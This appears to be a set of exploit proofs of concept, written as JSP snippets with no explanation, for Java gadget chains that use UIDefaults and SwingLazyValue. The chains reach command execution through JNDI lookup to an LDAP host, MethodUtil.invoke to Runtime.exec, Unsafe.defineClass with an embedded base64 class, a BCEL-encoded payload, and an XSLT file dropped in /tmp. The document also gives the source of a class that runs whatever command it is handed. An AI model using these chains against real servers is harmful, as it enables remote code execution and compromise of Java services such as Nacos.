UIDefaults.get  UIDefaults.getFromHashTable    UIDefaults$LazyValue.createValue      SwingLazyValue.createValue

javax.swing.UIDefaults#get  sun.swing.SwingLazyValue#createValue    javax.naming.InitialContext#doLookup

<%@ page import="javax.swing.*" %><%    Object o = new sun.swing.SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://xxxx"});    UIDefaults uiDefaults = new UIDefaults();    uiDefaults.put("aaa", o);    uiDefaults.get("aaa");%>

<%@ page import="sun.reflect.misc.MethodUtil" %><%@ page import="java.lang.reflect.Method" %><%@ page import="sun.swing.SwingLazyValue" %><%@ page import="javax.swing.*" %><%    Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);    Method exec = Runtime.class.getMethod("exec", String[].class);    String[] command = new String[]{"sh", "-c", "open /"};    SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});    UIDefaults u1 = new UIDefaults();    u1.put("key", swingLazyValue);    u1.get("key");%>

exec:485, Runtime (java.lang)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:71, Trampoline (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:275, MethodUtil (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:71, Trampoline (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:275, MethodUtil (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)createValue:73, SwingLazyValue (sun.swing)getFromHashtable:216, UIDefaults (javax.swing)get:161, UIDefaults (javax.swing)main:19, poc2 (SwingLazyValue)

public class exp {
    static {        String cmd = System.getProperty("cmd");        StringBuilder stringBuilder = new StringBuilder();        BufferedReader bufferedReader;        try {            bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()));            String line;
            while ((line = bufferedReader.readLine()) != null) {                stringBuilder.append(line).append("\n");            }        } catch (IOException e) {            e.printStackTrace();        }        System.setProperty("ret", stringBuilder.toString());    }
}

javax.swing.UIDefaults#get  sun.swing.SwingLazyValue#createValue    sun.reflect.misc.MethodUtil#invoke      sun.misc.Unsafe#defineClass

<%@ page import="java.util.Hashtable" %><%@ page import="javax.swing.*" %><%@ page import="sun.swing.SwingLazyValue" %><%@ page import="java.lang.reflect.Method" %><%@ page import="sun.reflect.misc.MethodUtil" %><%@ page import="sun.misc.BASE64Decoder" %><%@ page import="sun.misc.Unsafe" %><%@ page import="java.security.ProtectionDomain" %><%@ page import="java.lang.reflect.Field" %><%    byte[] bcode = new BASE64Decoder().decodeBuffer("yv66vgAAADQAYwoAGAAxCAAnCgAyADMHADQKAAQAMQcANQcANgoANwA4CAA5CgA6ADsKADcAPAoAPQA+CgAHAD8KAAYAQAoABgBBCgAEAEIIAEMHAEQKABIARQgARgoABABHCgAyAEgHAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABUxleHA7AQAIPGNsaW5pdD4BAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQADY21kAQANc3RyaW5nQnVpbGRlcgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA1TdGFja01hcFRhYmxlBwBLBwA0BwA1BwBEAQAKU291cmNlRmlsZQEACGV4cC5qYXZhDAAZABoHAEwMAE0ATgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAE8MAFAAUQEAASAHAEsMAFIAUwwAVABVBwBWDABXAFgMABkAWQwAGQBaDABbAFwMAF0AXgEAAQoBABNqYXZhL2lvL0lPRXhjZXB0aW9uDABfABoBAANyZXQMAGAAXAwAYQBiAQADZXhwAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD3ByaW50U3RhY2tUcmFjZQEACHRvU3RyaW5nAQALc2V0UHJvcGVydHkBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwAhABcAGAAAAAAAAgABABkAGgABABsAAAAvAAEAAQAAAAUqtwABsQAAAAIAHAAAAAYAAQAAAAUAHQAAAAwAAQAAAAUAHgAfAAAACAAgABoAAQAbAAAA+gAHAAQAAABWEgK4AANLuwAEWbcABUy7AAZZuwAHWbgACCoSCbYACrYAC7YADLcADbcADk0stgAPWU7GABErLbYAEBIRtgAQV6f/7KcACE4ttgATEhQrtgAVuAAWV7EAAQAOAEMARgASAAMAHAAAACoACgAAAAgABgAJAA4ADAAsAA8ANQAQAEMAFABGABIARwATAEsAFQBVABYAHQAAADQABQAyABEAIQAiAAMALAAaACMAJAACAEcABAAlACYAAwAGAE8AJwAiAAAADgBHACgAKQABACoAAAAgAAT+ACwHACsHACwHAC0W/wACAAIHACsHACwAAQcALgQAAQAvAAAAAgAw");    System.setProperty("cmd", "open /");    Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);    Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);    Field f = Unsafe.class.getDeclaredField("theUnsafe");    f.setAccessible(true);    Object unsafe = f.get(null);    Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"exp", bcode, 0, bcode.length, null, null}}};
    SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);    SwingLazyValue swingLazyValue1 = new SwingLazyValue("exp", null, new Object[0]);
    Object[] keyValueList = new Object[]{"aaa", swingLazyValue};    Object[] keyValueList1 = new Object[]{"bbb", swingLazyValue1};    UIDefaults uiDefaults1 = new UIDefaults(keyValueList);    UIDefaults uiDefaults2 = new UIDefaults(keyValueList1);    uiDefaults1.get("aaa");    uiDefaults2.get("bbb");
%>

javax.swing.UIDefaults#get  sun.swing.SwingLazyValue#createValue    com.sun.org.apache.bcel.internal.util.JavaWrapper#_main

<%@ page import="javax.swing.*" %><%@ page import="sun.swing.SwingLazyValue" %><%
    String payload = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dU$dbR$TY$U$5d$H$9a$9c$d0i$40$C$u$a83$e3$8c$b7$80$c1$ccx$X$itp$f0$82$B$U$Q$8c$f7N$e7$Q$h$93N$aa$d3$a1$f4$8b$7c$f6$rPC$d5$3c$ce$83$9f$e2G$e8$ac$d3$J$81$94m$95$3c$ec$e6$ac$bd$f7$da$d7s$f2$e9$cb$3f$ff$C$b8$84M$T$a3$b8$g$c7$84$89k$b8$$1e$c2$c0U$89i$89$h$s$fe$c4L$i7M$dc$c2_$fa0k$e26$fe6$n1g$o$86$3bZ$dc$d5$O$f7$e2$b8$_1o$o$89$Hqd5$b4$a0$J$X$r$96$q$k$K$c4n$b8$9e$h$cc$It$a7$c6$d7$E$8c$db$95$82$S$Y$c8$ba$9eZ$ac$97$f3$ca_$b5$f3$r$o$c9l$c5$b1Kk$b6$ef$eas$L4$827n$8d$i$d9$b9$z$b74$z$d0$f3$aal$bb$9e$c0$e1$d4$b3$ec$a6$bdegJ$b6W$cc$ac$E$be$eb$V$a7C$fa$Sy5$d97Z$81$fe$7c$7dcC$f9$aa$b0$ac$ec$82$f2$FF$9bVn$r3$db$a1$a1$ad$m$c9H$5b$7d$7fi$ee$9d$a3$aa$81$5b$f1$a83l$bf$b8$r0$U$91$C$abt$ca$F$81$beZx$9e$ad$bb$a50$d2$d87$a6$z$V$3d$faV$C$dby$bb$60W$c3$9a$r$kq$U$e1$U$c6$d9W$B$b3$j$ba$s$b1$cc$f3J$a5$ee$3b$ea$8e$ab$fb$d3$ab$fbr$5es$5b$Y$c3Q$89$V$L$abx$yp$e4$3b$f1$d8$ba$e8$9a$99c$bbZ$afZ$P$e8$a5$ecrS$t$b1fa$jO$d8$96$T$cc$cfB$OO$z$3c$c3s$89$X$W$5e$e2$95$O$feZ$L$a6$91$87c$a1$A$s$tL6$v$a2$85$W6p$94$9d$f2U$60$a1$a8$cd$df$c0e$5bu$z$C$87$f63_$cao$w$t$e8$80$9a$c5$ec$f1$86P$9b$b7$d3$f0$7d$zPe$81DQ$F$P$fdJU$f9$c1$7b$813$a9$88$b5$89$g$e3$e0$3e$b6$5c$f7$C$b7$cczLR$b5$P$p$a9$83$7e$zXoh$adZr$99$f3$d9$a8H$91$hc$a8w$ca$RHE$ae$f4$B$88U8$aaV$ebL$ae$Fr$b9$99$dc$81$c1q$D$f6$S$ec$9c$u$ddGS$91$K$7d$7d$86$f6U$ad$ab$a0$d18$f5$85lx$b1$86S$91$ed$8a$d9$d5$aa$f2$b8$f8$93$3f$d4$e0$fd$e5$l$a8$f2$i$847$60$d5$b7$jF$88$H$95$bd$n$tj$Hgw$z$82$fa$87$a6$89_q$84O$9d$fe$eb$82$d0$f7$84$f2$YO$Z$7e$F$bf$3d$T$db$Q$lC$f5q$caX$T$c4O$94V$eb$ff$9f$f1$L$bf$bd8A$b2$$$ed$y$S$7c$L$7b$88$3dMv$ed$a0$3b$bb$L$p$b7$8d$9e$85$5d$c4r$bb$90$b9$j$c4$cf$r$7b$h0$hH4$60m$a3o$h$fd$8b$93$N$M$e4$a6$8c$ff$90L$8f$Z$N$iJ$OR$ac$7f$f8$fa$f9$D$cc$vCCC$c9$e1t$D$p$3b8$bc$fe$91$b1$fb1$87$7b$7c$5b$bb$c3$cc$s$60RJf$Y$a7$s$814$e5$V$M$d0f$88V$83$98$a7$e5$S$86y$3fG$c2$ecghy$91$d8o8$c9w9M$8eS8M$aeyf$7e$Gg$891$7f$a40$kV$bdJ$fe$93a$cc$y$ce$d1$ba$L$93$c4$e9$f9$Fi$89$f3$S$Z$89$dfG$bf$S$ef$96$f8$a3$89$40H$5c$d0A$402$c1_$V$81$cba$p$af$fc$P$f9$bc$c9$b6h$G$A$A";    System.setProperty("cmd", "open /");    SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}});    UIDefaults u1 = new UIDefaults();    u1.put("aaa", swingLazyValue);    u1.get("aaa");%>

<%@ page import="java.util.Random" %><%@ page import="java.util.HashMap" %><%@ page import="sun.swing.SwingLazyValue" %><%@ page import="javassist.ClassPool" %><%@ page import="javassist.ClassClassPath" %><%@ page import="javax.swing.*" %><%    String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +            "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +            "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +            "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +            "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +            ">\n" +            "    <xsl:template match=\"/\">\n" +            "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +            "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +            "      <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +            "      <xsl:value-of select=\"$rce\"/>\n" +            "    </xsl:template>\n" +            "  </xsl:stylesheet>";
    String base64Code = "yv66vgAAADQAYwoAGAAxCAAnCgAyADMHADQKAAQAMQcANQcANgoANwA4CAA5CgA6ADsKADcAPAoAPQA+CgAHAD8KAAYAQAoABgBBCgAEAEIIAEMHAEQKABIARQgARgoABABHCgAyAEgHAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABUxleHA7AQAIPGNsaW5pdD4BAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQADY21kAQANc3RyaW5nQnVpbGRlcgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA1TdGFja01hcFRhYmxlBwBLBwA0BwA1BwBEAQAKU291cmNlRmlsZQEACGV4cC5qYXZhDAAZABoHAEwMAE0ATgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAE8MAFAAUQEAASAHAEsMAFIAUwwAVABVBwBWDABXAFgMABkAWQwAGQBaDABbAFwMAF0AXgEAAQoBABNqYXZhL2lvL0lPRXhjZXB0aW9uDABfABoBAANyZXQMAGAAXAwAYQBiAQADZXhwAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD3ByaW50U3RhY2tUcmFjZQEACHRvU3RyaW5nAQALc2V0UHJvcGVydHkBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwAhABcAGAAAAAAAAgABABkAGgABABsAAAAvAAEAAQAAAAUqtwABsQAAAAIAHAAAAAYAAQAAAAsAHQAAAAwAAQAAAAUAHgAfAAAACAAgABoAAQAbAAAA+gAHAAQAAABWEgK4AANLuwAEWbcABUy7AAZZuwAHWbgACCoSCbYACrYAC7YADLcADbcADk0stgAPWU7GABErLbYAEBIRtgAQV6f/7KcACE4ttgATEhQrtgAVuAAWV7EAAQAOAEMARgASAAMAHAAAACoACgAAAA4ABgAPAA4AEgAsABUANQAWAEMAGgBGABgARwAZAEsAGwBVABwAHQAAADQABQAyABEAIQAiAAMALAAaACMAJAACAEcABAAlACYAAwAGAE8AJwAiAAAADgBHACgAKQABACoAAAAgAAT+ACwHACsHACwHAC0W/wACAAIHACsHACwAAQcALgQAAQAvAAAAAgAw";    String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "exp");    System.setProperty("cmd", "open /");    SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/nacos_data_temp", xslt.getBytes()});
    SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///tmp/nacos_data_temp"}});
    UIDefaults uiDefaults = new UIDefaults();    UIDefaults uiDefaults2 = new UIDefaults();    uiDefaults.put("aaa", value1);    uiDefaults2.put("bbb", value2);    uiDefaults.get("aaa");    uiDefaults2.get("bbb");
%>